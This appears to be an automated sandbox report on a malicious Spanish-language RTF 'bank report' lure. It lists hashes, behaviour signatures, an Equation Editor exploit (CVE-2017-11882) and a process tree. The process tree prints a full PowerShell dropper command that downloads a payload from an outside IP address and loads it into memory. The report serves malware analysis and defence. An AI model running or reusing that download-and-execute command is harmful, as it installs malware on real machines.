Analysis

  • max time kernel
    42s
  • max time network
    30s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    06-01-2023 23:43

General

  • Target

    reporte bancario#pago devuelto.rtf

  • Size

    9KB

  • MD5

    0611e9fc814aae37824ba812530868ab

  • SHA1

    9148b89940cdb3f273f1135136e9616491f90ba6

  • SHA256

    45a4d90447393903cb9bf5a6df74a712bb5113557860f24269a384db7c56c561

  • SHA512

    146fef6cb20c6ed2950bfe8ba04b8171f83b85ef7f5cbd1851d0c1132c0f53d6c35a4b6d7ea5164357edae80d5077bc82e8adbd473280528d8dadedcae4a64c3

  • SSDEEP

    192:gZM861UaEiX4IQRqDyvkFoVvQlLhArrKx0ELnTam0uLZUXm6D:gXTaEuvDOkFcQH6rKxnLnTlHmXm6D

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://172.174.176.153/dll/NoStartUp.ppam

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Launches Equation Editor 1 TTPs 2 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\reporte bancario#pago devuelto.rtf"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1228
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1684
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Blocklisted process makes network request
      • Launches Equation Editor
      • Suspicious use of WriteProcessMemory
      PID:560
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\mojoor.vbs"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1040
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://172.174.176.153/dll/NoStartUp.ppam'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.sfsfdasfsaffsdfafassfdsffss/42.021.871.591//:ptth'))
          3⤵
          • Blocklisted process makes network request
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2016
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Launches Equation Editor
      PID:1196

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\mojoor.vbs

      Filesize

      420KB

      MD5

      2768ab0b904abd09ea007b630ecf7c0d

      SHA1

      f9216347787d25caa49a04c715f3e832a0c69c85

      SHA256

      0419c73d39da5453af766eb4c989daf033c2fd23a62cec14f077bc6e0eeed311

      SHA512

      5ea783cbe452a75e36543b063cfbde41815083a542f93b5c86d3831d8c5bb0ba6063a8d57bcaeba58309c7b028f2daa48c64452a233c2f2aa1bb9b3e3d40087b

    • memory/1040-60-0x0000000000000000-mapping.dmp

    • memory/1228-57-0x0000000075531000-0x0000000075533000-memory.dmp

      Filesize

      8KB

    • memory/1228-54-0x00000000727D1000-0x00000000727D4000-memory.dmp

      Filesize

      12KB

    • memory/1228-58-0x000000007123D000-0x0000000071248000-memory.dmp

      Filesize

      44KB

    • memory/1228-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1228-55-0x0000000070251000-0x0000000070253000-memory.dmp

      Filesize

      8KB

    • memory/1228-67-0x000000007123D000-0x0000000071248000-memory.dmp

      Filesize

      44KB

    • memory/1684-69-0x0000000000000000-mapping.dmp

    • memory/1684-70-0x000007FEFBCE1000-0x000007FEFBCE3000-memory.dmp

      Filesize

      8KB

    • memory/2016-63-0x0000000000000000-mapping.dmp

    • memory/2016-65-0x000000006B100000-0x000000006B6AB000-memory.dmp

      Filesize

      5.7MB

    • memory/2016-68-0x000000006B100000-0x000000006B6AB000-memory.dmp

      Filesize

      5.7MB